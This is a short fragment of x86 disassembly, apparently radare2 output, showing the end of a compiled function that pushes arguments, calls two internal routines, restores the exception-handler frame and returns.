mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.0042ab30
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0047f25d
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24